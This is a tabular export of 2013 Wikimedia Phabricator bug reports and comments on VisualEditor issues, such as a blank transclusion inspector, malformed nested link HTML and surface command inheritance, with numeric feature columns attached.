232360,VisualEditor: Transclusion inspector blank on opening some templates,*** Bug 49797 has been marked as a duplicate of this bug. ***,,,1371748994,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qb2vdcmk4mrkuu43ivqi,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49797 has been marked as a duplicate of this bug. ***
232354,VisualEditor: Transclusion inspector blank on opening some templates,*** Bug 49862 has been marked as a duplicate of this bug. ***,,,1371745099,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qb2vdcmk4mrkuu43ivqi,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49862 has been marked as a duplicate of this bug. ***
232350,VisualEditor: Transclusion inspector blank on opening some templates,"I found this as well. Here are the steps to reproduce:

1. Open up [[mw.VisualEditor:Template test]] in edit mode.
2. Click on any template, then click on the icon to open the template inspector.
3. Click on the cross in the top-right-hand corner to close it.
4. Click on the template inspector icon for the same template again. (It appears to still be there from the first time it was clicked.) This time the inspector appears blank.
5. Click on the cross in the top-right-hand corner to close it again.
6. Now, clicking on the template icon for any template on the page will have no effect (i.e. the template inspector doesn't load at all).",,,1371541325,,PHID-USER-rjtk3h6l2quifuajiime,False,,,PHID-TASK-qb2vdcmk4mrkuu43ivqi,task_subcomment,,True,c1,2,False,,,-2,,1.5,0.0,0.0,0.5,0.5,4.0,1.0,0.0,0.0,0.0,2.5,0.5,0.5,0.0,0.0,0.5,0.0,7.0,11.0,0.0,2.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,2.5,0.5,2.5,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,16.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,8.0,1.5,6.5,0.0,0.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,11.0,0.5,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,5.5,3.3375,0.6312500000000001,"I found this as well. Here are the steps to reproduce:

1. Open up [[mw.VisualEditor:Template test]] in edit mode.
2. Click on any template, then click on the icon to open the template inspector.
3. Click on the cross in the top-right-hand corner to close it.
4. Click on the template inspector icon for the same template again. (It appears to still be there from the first time it was clicked.) This time the inspector appears blank.
5. Click on the cross in the top-right-hand corner to close it again.
6. Now, clicking on the template icon for any template on the page will have no effect (i.e. the template inspector doesn't load at all)."
232344,VisualEditor: Transclusion inspector blank on opening some templates,"Never loads. Trevor, is it selecting the wrong thing, so can't fetch it, or selecting the right thing, but can't fetch it for some other reason?",,,1371248265,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qb2vdcmk4mrkuu43ivqi,task_subcomment,,True,c1,2,True,,,-3,,3.0,0.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,6.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,3.0,0.0,3.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.5,0.6764705882352942,"Never loads. Trevor, is it selecting the wrong thing, so can't fetch it, or selecting the right thing, but can't fetch it for some other reason?"
51488,VisualEditor: Some block objects when selected not triggering the inspector menu (no template/image icon),"Screenshot

Screenshot attached - from https://www.mediawiki.org/wiki/Extension:Syntax_Highlighting

--------------------------
**Version**: unspecified
**Severity**: major

**Attached**: {F11040}",High,80.0,1371059580,1372037973.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-mgaib3olu55b5fa25dcw,task_description,resolved,True,c1,2,False,False,True,-3,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7714285714285714,0.5142857142857142,"Screenshot

Screenshot attached - from URL

--------------------------
**Version**: unspecified
**Severity**: major

**Attached**: {F11040}"
232022,VisualEditor: Some block objects when selected not triggering the inspector menu (no template/image icon),Marking as fixed.,,,1372037973,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mgaib3olu55b5fa25dcw,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,3.75,1.0,Marking as fixed.
51481,VisualEditor: Save dialog should not preserve history when opening a second time,"1. Make a change and press save
2. close the save dialog (^)
3. Press save again

Note there is now a back button (<) which does nothing.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1371048240,1372039076.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-nqjwrvv7obmoxabd6boz,task_description,resolved,True,c1,2,True,False,True,-3,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,9.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,9.0,3.245614035087719,0.6491228070175439,"1. Make a change and press save
2. close the save dialog (^)
3. Press save again

Note there is now a back button (<) which does nothing.

--------------------------
**Version**: unspecified
**Severity**: normal"
231600,VisualEditor: Save dialog should not preserve history when opening a second time,Related URL: https://gerrit.wikimedia.org/r/70113 (Gerrit Change I297a7d1458e5a1c33b9dcb85272fe5f40893dd88),,,1372034145,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nqjwrvv7obmoxabd6boz,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I297a7d1458e5a1c33b9dcb85272fe5f40893dd88)
51451,VisualEditor: Bad HTML when link seems to have been edited,"From a bug report in /mnt/bugs on parsoid.wmflabs.org.

The edited HTML snippet in question looks like this:

""<a href=""./Turkish_sparrow"" rel=""mw:WikiLink"" data-parsoid='{""a"":{""href"":""./Turkish_sparrow""},""sa"":{""href"":""Turkish sparrow""},""stx"":""simple"",""dsr"":[92,111,2,2]}'><a href=""American%20sparrow"" rel=""mw:WikiLink"">American sparrow</a></a>""

The editor may tried to edit a link from Turkish -> American sparrow

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1370981400,1372215957.0,PHID-USER-slccyo5rqasgpljxny7g,False,,False,PHID-TASK-4g3tuqan3yhuka5pdfba,task_description,resolved,True,c1,2,True,False,True,-3,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,13.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,3.0,5.883116883116883,0.6623376623376623,"From a bug report in /mnt/bugs on parsoid.wmflabs.org.

The edited HTML snippet in question looks like this:

""<a href=""./Turkish_sparrow"" rel=""mw:WikiLink"" data-parsoid='{""a"":{""href"":""./Turkish_sparrow""},""sa"":{""href"":""Turkish sparrow""},""stx"":""simple"",""dsr"":[92,111,2,2]}'><a href=""American%20sparrow"" rel=""mw:WikiLink"">American sparrow</a></a>""

The editor may tried to edit a link from Turkish -> American sparrow

--------------------------
**Version**: unspecified
**Severity**: normal"
229802,VisualEditor: Bad HTML when link seems to have been edited,Speculatively marking as fixed; please re-open if it recurs.,,,1372215957,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4g3tuqan3yhuka5pdfba,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,8.0,23.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,1.0,Speculatively marking as fixed; please re-open if it recurs.
229798,VisualEditor: Bad HTML when link seems to have been edited,I think this is one of the bugs that has been fixed by https://gerrit.wikimedia.org/r/70434,,,1372215765,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-4g3tuqan3yhuka5pdfba,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,7.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,14.0,7.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,1.0,I think this is one of the bugs that has been fixed by GERRIT_URL
229792,VisualEditor: Bad HTML when link seems to have been edited,"Another instance from /mnt/bugs/2013-06-11T19:33:15.924Z-VPN_blocking (on enwp)

<a rel=""mw:WikiLink"" href=""protocol%20tunnel""><a rel=""mw:WikiLink"" href=""protocol%20tunnellng"">protocol tunnell</a></a><a rel=""mw:WikiLink"" href=""protocol%20tunnellng"">ing</a>",,,1371055575,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-4g3tuqan3yhuka5pdfba,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,22.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,6.777777777777778,0.7222222222222222,"Another instance from /mnt/bugs/2013-06-11T19:33:15.924Z-VPN_blocking (on enwp)

<a rel=""mw:WikiLink"" href=""protocol%20tunnel""><a rel=""mw:WikiLink"" href=""protocol%20tunnellng"">protocol tunnell</a></a><a rel=""mw:WikiLink"" href=""protocol%20tunnellng"">ing</a>"
229786,VisualEditor: Bad HTML when link seems to have been edited,From: /mnt/bugs/2013-06-10T19:18:14.190Z-Golden-Crowned_Sparrow (editing done on mediawiki.wikimedia.org).,,,1370981817,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-4g3tuqan3yhuka5pdfba,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.05,0.85,From: /mnt/bugs/2013-06-10T19:18:14.190Z-Golden-Crowned_Sparrow (editing done on mediawiki.wikimedia.org).
51439,VisualEditor: Surface should be able to inherit commands and toolbar from other surface,"Right now, we have to do the following in ve.ui.MWReferenceDialog and ve.ui.MWMediaDialog to set up the sub-editor's surface correctly:

this.referenceSurface.addCommands( ve.init.mw.ViewPageTarget.static.surfaceCommands );

Instead of accessing ve.init.mw (and assuming all surfaces with MW*Dialogs will be instantiated by ve.init.mw.ViewPageTarget), we should just be able to say ""initialize this new surface based on this existing surface"".

--------------------------
**Version**: unspecified
**Severity**: enhancement",High,80.0,1370964780,1417198558.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-uk5g2utei5kls5xo2fer,task_description,resolved,True,c1,2,False,False,False,-3,,1.0,0.0,0.0,1.0,0.0,4.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,10.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,1.0,1.0,0.0,0.0,0.0,16.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,10.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,2.0,10.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.6595744680851063,"Right now, we have to do the following in ve.ui.MWReferenceDialog and ve.ui.MWMediaDialog to set up the sub-editor's surface correctly:

this.referenceSurface.addCommands( ve.init.mw.ViewPageTarget.static.surfaceCommands );

Instead of accessing ve.init.mw (and assuming all surfaces with MW*Dialogs will be instantiated by ve.init.mw.ViewPageTarget), we should just be able to say ""initialize this new surface based on this existing surface"".

--------------------------
**Version**: unspecified
**Severity**: enhancement"
253594,VisualEditor: Surface should be able to inherit commands and toolbar from other surface,"Not just inherit, but also block from inheritance for specific instantiations (e.g. the caption of an image inside a reference can't take a reference - bug 58270).",,,1386877772,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uk5g2utei5kls5xo2fer,task_subcomment,,True,c1,3,True,,,23,,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.28125,0.9375,"Not just inherit, but also block from inheritance for specific instantiations (e.g. the caption of an image inside a reference can't take a reference - bug 58270)."
253590,VisualEditor: Surface should be able to inherit commands and toolbar from other surface,"Stylesheets should be inherited as well (and be loaded by the surface rather than the dialog) so we don't have to do things like

ve.ui.MWReferenceDialog.static.addLocalStylesheets( [
	've.ce.Node.css',
	've.ce.Surface.css',
	've.ui.Surface.css',
	've.ui.Context.css',
	've.ui.Tool.css',
	've.ui.Toolbar.css'
] );",,,1370964956,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-uk5g2utei5kls5xo2fer,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,20.0,0.0,0.0,0.0,2.0,0.0,6.0,8.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,8.0,2.0,0.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.363636363636363,0.6212121212121212,"Stylesheets should be inherited as well (and be loaded by the surface rather than the dialog) so we don't have to do things like

ve.ui.MWReferenceDialog.static.addLocalStylesheets( [
	've.ce.Node.css',
	've.ce.Surface.css',
	've.ui.Surface.css',
	've.ui.Context.css',
	've.ui.Tool.css',
	've.ui.Toolbar.css'
] );"
51424,"VisualEditor: Deletion from slugged header causes preceding paragraph to appear to be deleted, but remain in the DM(?)","**Author:** `swalling`

**Description:**
When attempting to remove an entire section with an h2 header, removing the text of the header does not remove the line separator underneath the header. 

Additionally, one additional delete/backspace action deleted the entire preceding section, and it seems from the resulting content that I merely blanked the header but the wikitext for it remains.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1370932440,1386029219.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-d25o2mdf4mdptqcqy2de,task_description,declined,True,c1,2,False,False,False,-3,,0.0,0.0,0.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,4.0,6.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,11.0,0.0,9.0,1.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,3.0,6.0,2.0,0.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,4.287234042553192,0.6063829787234043,"**Author:** CODE

**Description:**
When attempting to remove an entire section with an h2 header, removing the text of the header does not remove the line separator underneath the header. 

Additionally, one additional delete/backspace action deleted the entire preceding section, and it seems from the resulting content that I merely blanked the header but the wikitext for it remains.

--------------------------
**Version**: unspecified
**Severity**: normal"
252837,"VisualEditor: Deletion from slugged header causes preceding paragraph to appear to be deleted, but remain in the DM(?)",AFAICT this is now fixed - marking as WORKSFORME. Please re-open if it recurs.,,,1386029219,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-d25o2mdf4mdptqcqy2de,task_subcomment,,True,c1,3,True,,,22,,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,6.0,17.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.611111111111111,0.8888888888888888,AFAICT this is now fixed - marking as WORKSFORME. Please re-open if it recurs.
252835,"VisualEditor: Deletion from slugged header causes preceding paragraph to appear to be deleted, but remain in the DM(?)","Change 70949 had a related patch set uploaded by Inez:
(bug 49424) Add empty lines before/after new block level images

https://gerrit.wikimedia.org/r/70949",,,1372379464,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-d25o2mdf4mdptqcqy2de,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,"Change 70949 had a related patch set uploaded by Inez:
(bug 49424) Add empty lines before/after new block level images

GERRIT_URL"
252832,"VisualEditor: Deletion from slugged header causes preceding paragraph to appear to be deleted, but remain in the DM(?)",Could someone provide step by step instruction how to reproduce this problem?,,,1372371000,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-d25o2mdf4mdptqcqy2de,task_subcomment,,True,c1,2,False,,,-1,,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,5.076923076923077,0.9230769230769231,Could someone provide step by step instruction how to reproduce this problem?
252829,"VisualEditor: Deletion from slugged header causes preceding paragraph to appear to be deleted, but remain in the DM(?)",The latter; my apologies for not reading correctly! :),,,1371242772,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-d25o2mdf4mdptqcqy2de,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.181818181818182,1.0,The latter; my apologies for not reading correctly! :)
252825,"VisualEditor: Deletion from slugged header causes preceding paragraph to appear to be deleted, but remain in the DM(?)","The first part of this bug is a duplicate of bug 49452 (""Whitespace-only headings should be collapsed to (blank) paragraphs""), so re-purposing to be about the deletion issue.

@Steven - could you give more details about this bug with deletion magically hiding large blocks of text but not deleting them - was it in Chrome/Mac? Does it happen reliably (and can you reproduce now) or is it occasional?

